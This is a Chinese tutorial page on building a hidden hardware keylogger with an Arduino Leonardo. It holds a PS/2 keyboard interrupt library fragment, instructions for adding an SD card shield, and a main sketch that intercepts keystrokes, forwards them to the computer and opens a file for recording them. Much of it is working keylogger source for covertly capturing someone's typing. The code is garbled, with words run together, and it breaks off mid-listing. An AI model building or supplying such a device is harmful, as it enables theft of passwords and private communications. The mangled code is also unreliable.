盾怪网教程:是一个免费提供流行杀毒软件教程、在线学习分享的学习平台!

间谍游戏:用Arduino制作硬件键盘记录器

时间:2024/5/26作者:未知来源:盾怪网教程人气:

[摘要]0xC0; } } } if(!result) return -1; returnres...
 0xC0;                    }                }        }        if(!result) return -1;        returnresult; }   PS2Keyboard::PS2Keyboard(){   // nothing todohere, begin() does it all }   void PS2Keyboard::begin(uint8_tdata_pin, uint8_tirq_pin, constPS2Keymap_t &map) {   uint8_tirq_num=0;     DataPin =data_pin;   keymap =↦   #ifdef INPUT_PULLUP  pinMode(irq_pin,INPUT_PULLUP);  pinMode(data_pin,INPUT_PULLUP); #else  pinMode(irq_pin,INPUT);  digitalWrite(irq_pin,HIGH);  pinMode(data_pin,INPUT);  digitalWrite(data_pin,HIGH); #endif     switch(irq_pin) {    #ifdefCORE_INT0_PIN    caseCORE_INT0_PIN:      irq_num = 0;      break;     #endif    #ifdefCORE_INT1_PIN    caseCORE_INT1_PIN:      irq_num = 1;      break;     #endif    #ifdefCORE_INT2_PIN    caseCORE_INT2_PIN:      irq_num = 2;      break;     #endif    #ifdefCORE_INT3_PIN    caseCORE_INT3_PIN:      irq_num = 3;      break;     #endif    #ifdefCORE_INT4_PIN    caseCORE_INT4_PIN:      irq_num = 4;      break;     #endif    #ifdefCORE_INT5_PIN    caseCORE_INT5_PIN:      irq_num = 5;      break;     #endif    #ifdefCORE_INT6_PIN    caseCORE_INT6_PIN:      irq_num = 6;      break;     #endif    #ifdefCORE_INT7_PIN     caseCORE_INT7_PIN:      irq_num = 7;      break;     #endif    default:      irq_num = 0;      break;   }   head = 0;   tail = 0;  attachInterrupt(irq_num,ps2interrupt, FALLING);}

键 盘输入的库有了,接下来第二步是将上面所截获的数据存入存储器,arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,这样小的空间显然不 能满足我们的要求,但arduino本是就是为扩展各种功能而设计出来的,为此我们为它加入一块sd卡扩展板,将键盘数据存储在sd卡中,这里我选用 seeed studio的SD Shield(这种扩展板市面上有很多,只要是支持arduino的,买来都能用),扩展板的安装极为简单,只需按照针脚位置对接插入,如下图所示:

间谍游戏:用Arduino制作硬件键盘记录器9

这些为arduino定制的扩展板都有很好的兼容性,所以只要插上,然后用现成的SD卡库开发一段存储程序即可。

接下来是如何将截获的键值发送到计算机的问题,这个问题自从arduino升级到leonardo,官方已经提供了完整的支持(这也是我们的设计基于leonardo的原因),这个新增的keyboard库可以用很简单的代码模拟键盘向计算机输入数据。

好,现在万事具备,只差一段最后的程序了:

1.   2. /*  Name:arduinoPS2键盘记录器程序 3. *  Author:b41k3r 4. *  Update:2014-01-10 5.   6. *  Version:0×06 7. */    8. #include<PS2Keyboard.h> 9. #include<SD.h>   //引用SD卡读写官方库 10.  11.const int DataPin = 5; 12.const intIRQpin=  3;  //设置数据和时钟针脚 13.File RecordFile;   //定义文件写入 14.StringrecordTemp="[Begin]";//监听的临时参数,每监听到一个键就加在此字符的后面,并设定每次监听的开头为[Begin] 15.PS2Keyboard kbd;  //PS2Keyboard 类实例化 16.void setup() { 17.  Keyboard.begin();//向计算机发送按键信号准备开始 18.  kbd.begin(DataPin,IRQpin,PS2Keymap_US);  //设置键盘为标准的美国101 19.  Serial.begin(9600); 20.  pinMode(10,OUTPUT); 21.  if(!SD.begin(4)) { 22.  Serial.println("Initialization failed!"); 23.  } 24.  RecordFile=SD.open("record.txt",FILE_WRITE);  //在SD卡建立文件,准备写入 25.} 26.  27.void loop() {   //开始循环监听 28.if (kbd.available()) { 29.  char c=kbd.readIt();   //读取输入的键 30.  intCombinationKey =kbd.getCombinationKey(); 31.  if(c<0) 32.   {  //CombinationKey=2和1代表alt和ctrl两种组合键 33.     if(CombinationKey==2) 34.      { 35.         Keyboard.press(KEY_LEFT_ALT); 36.          Keyboard.press(abs(c)); 37.          delay(100); 38.         Keyboard.releaseAll(); 39.      }else if (CombinationKey==1) 40.      { 41.         Serial.println(abs(c)); 42.         Keyboard.press(KEY_LEFT_CTRL); 43.         Keyboard.press(abs(c)); 44.          delay(100); 45.         Keyboard.releaseAll(); 46.      }else if(CombinationKey>=233&&CombinationKey<=244)  //代表F1-F12 47.      { 48.        Serial.println(CombinationKey); 49.        switch (CombinationKey) { 50.            case244:  KeyPress(KEY_F1);  break; 51.            case243:  KeyPress(KEY_F2);  break; 52.            case242:  KeyPress(KEY_F3);  break; 53.            case241:  KeyPress(KEY_F4);  break; 54.            case240:  KeyPress(KEY_F5);  break; 55.             case239:  KeyPress(KEY_F6);  break; 56.            case238:  KeyPress(KEY_F7);  break; 57.            case237:  KeyPress(KEY_F8);  break; 58.            case236:  KeyPress(KEY_F9);  break; 59.             case235:  KeyPress(KEY_F10); break; 60.             case234:  KeyPress(KEY_F11); break; 61.             case233:  KeyPress(KEY_F12); break; 62.             default:   break; 63.        } 64.  65.      } 66.    } 67.  else{  68.      switch (c) {  //其余的功能键 69.              casePS2_ENTER:    KeyPress(KEY_RETURN);     break; 70.              casePS2_TAB:      KeyPress(KEY_TAB);      break; 71.              casePS2_BACKSPACE:KeyPress(KEY_BACKSPACE);break; 72.              casePS2_SHIFT:    KeyPress(KEY_LEFT_SHIFT);  break; 73.              casePS2_ESC:       KeyPress(KEY_ESC);       break; 74.             casePS2_PAGEDOWN:  KeyPress(KEY_PAGE_DOWN);   break; 75.         &n
                
            

上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。



关键词:间谍游戏:用Arduino制作硬件键盘记录器




Copyright © 2012-2018 盾怪网教程(http://www.dunguai.com) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版